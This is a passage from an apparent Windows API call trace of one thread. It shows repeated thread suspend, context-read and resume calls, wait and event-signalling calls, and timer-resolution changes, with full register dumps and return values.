[176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0238.355] ResumeThread (hThread=0x1ac) returned 0x1
	[0238.355] CloseHandle (hObject=0x1ac) returned 1
	[0238.355] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0238.374] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x13c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x1ac) returned 1
	[0238.374] SuspendThread (hThread=0x1ac) returned 0x0
	[0238.374] GetThreadContext (in: hThread=0x1ac, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x70709ff638, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x7fff4f8d5ef4, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0238.416] ResumeThread (hThread=0x1ac) returned 0x1
	[0238.416] CloseHandle (hObject=0x1ac) returned 1
	[0238.417] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0238.455] SetEvent (hEvent=0x1a0) returned 1
	[0238.455] SetEvent (hEvent=0xe4) returned 1
	[0238.455] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0238.467] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0238.475] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0238.478] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0238.515] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0238.541] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0xb) returned 0x102
	[0238.564] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0238.598] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0238.600] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0xa9) returned 0x102
	[0238.788] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0238.788] SetEvent (hEvent=0xe4) returned 1
	[0238.789] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0238.793] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0238.798] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0x29) returned 0x102
	[0238.860] SetEvent (hEvent=0x190) returned 1
	[0238.860] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0238.867] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0238.888] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0x3a) returned 0x102
	[0238.967] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0238.970] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0238.999] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0239.014] SetEvent (hEvent=0x1a0) returned 1
	[0239.014] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0239.035] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0x17) returned 0x102
	[0239.074] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0239.084] SetEvent (hEvent=0x190) returned 1
	[0239.084] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0239.109] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0239.118] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0x1f) returned 0x102
	[0239.184] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0239.213] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0239.283] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0239.290] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0239.296] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0239.306] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0x28) returned 0x102
	[0239.348] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0239.361] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0239.362] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0x6b) returned 0x102
	[0239.480] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0239.480] SetEvent (hEvent=0xe4) returned 1
	[0239.480] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0239.494] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0239.494] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0x45) returned 0x0
	[0239.548] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0239.549] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0239.558] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0239.606] SetEvent (hEvent=0x1a0) returned 1
	[0239.606] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0239.616] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0239.642] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0239.646] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0239.650] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0239.652] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0239.652] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0x4d) returned 0x0
	[0239.672] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0239.673] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0239.696] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0239.707] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0239.720] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0239.753] SetEvent (hEvent=0xf0) returned 1
	[0239.753] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0239.769] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0239.861] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0239.883] SetEvent (hEvent=0x190) returned 1
	[0239.883] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0239.888] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0239.902] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0239.945] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0239.959] SetEvent (hEvent=0xe4) returned 1
	[0239.959] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0239.978] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0239.995] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0240.011] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0240.026] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0240.027] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0x2f) returned 0x0
	[0240.033] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0240.039] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0240.044] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0240.070] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0240.114] SetEvent (hEvent=0xf0) returned 1
	[0240.114] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0240.141] SetEvent (hEvent=0xf0) returned 1
	[0240.141] SetEvent (hEvent=0x1a0) returned 1
	[0240.141] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0240.144] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0240.151] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0240.166] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0240.222] SetEvent (hEvent=0x1a0) returned 1
	[0240.222] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0240.304] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0240.357] SetEvent (hEvent=0xf0) returned 1
	[0240.357] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0240.393] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0240.407] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0240.417] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0x33) returned 0x0
	[0240.423] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0240.433] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0x23) returned 0x0
	[0240.450] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0240.455] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0xd) returned 0x0
	[0240.458] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0240.466] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0x2) returned 0x102
	[0240.491] WaitForSingleObject (hHandle=0x124, dwMilliseconds=0xffffffff) returned 0x0
	[0240.491] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0240.493] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0240.493] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0x63) returned 0x0
	[0240.499] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0240.500] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0240.504] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0240.508] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0240.520] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0240.589] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0x3) returned 0x0
	[0240.602] SetEvent (hEvent=0xf0) returned 1
	[0240.602] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0240.611] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0240.623] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0240.651] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0240.659] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0240.679] SetEvent (hEvent=0xfc) returned 1
	[0240.679] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0240.690] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0240.699] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0240.708] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0240.727] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0240.736] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0240.747] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0240.754] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0240.756] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0240.763] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0240.765] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0240.778] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0240.782] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0240.803] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0240.850] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0240.851] SetEvent (hEvent=0xf0) returned 1
	[0240.851] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0240.877] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0240.887] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0240.904] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0240.914] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0240.917] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0240.926] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0240.939] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0240.965] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0240.995] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.003] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.020] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.023] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.030] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.059] SetEvent (hEvent=0x190) returned 1
	[0241.059] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.122] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.131] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.136] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.147] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.175] SetEvent (hEvent=0xfc) returned 1
	[0241.175] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.187] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.195] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.198] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.203] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0241.203] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0x42) returned 0x0
	[0241.229] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0241.230] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.242] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.258] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.343] SetEvent (hEvent=0xfc) returned 1
	[0241.343] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.357] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.360] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.367] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.376] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.382] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.387] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.396] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.401] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.407] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.411] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.416] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.425] SetEvent (hEvent=0x190) returned 1
	[0241.425] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.430] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.435] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.441] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0241.441] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0x5a) returned 0x0
	[0241.446] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0241.446] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.450] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.485] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.492] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.498] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.500] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.507] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
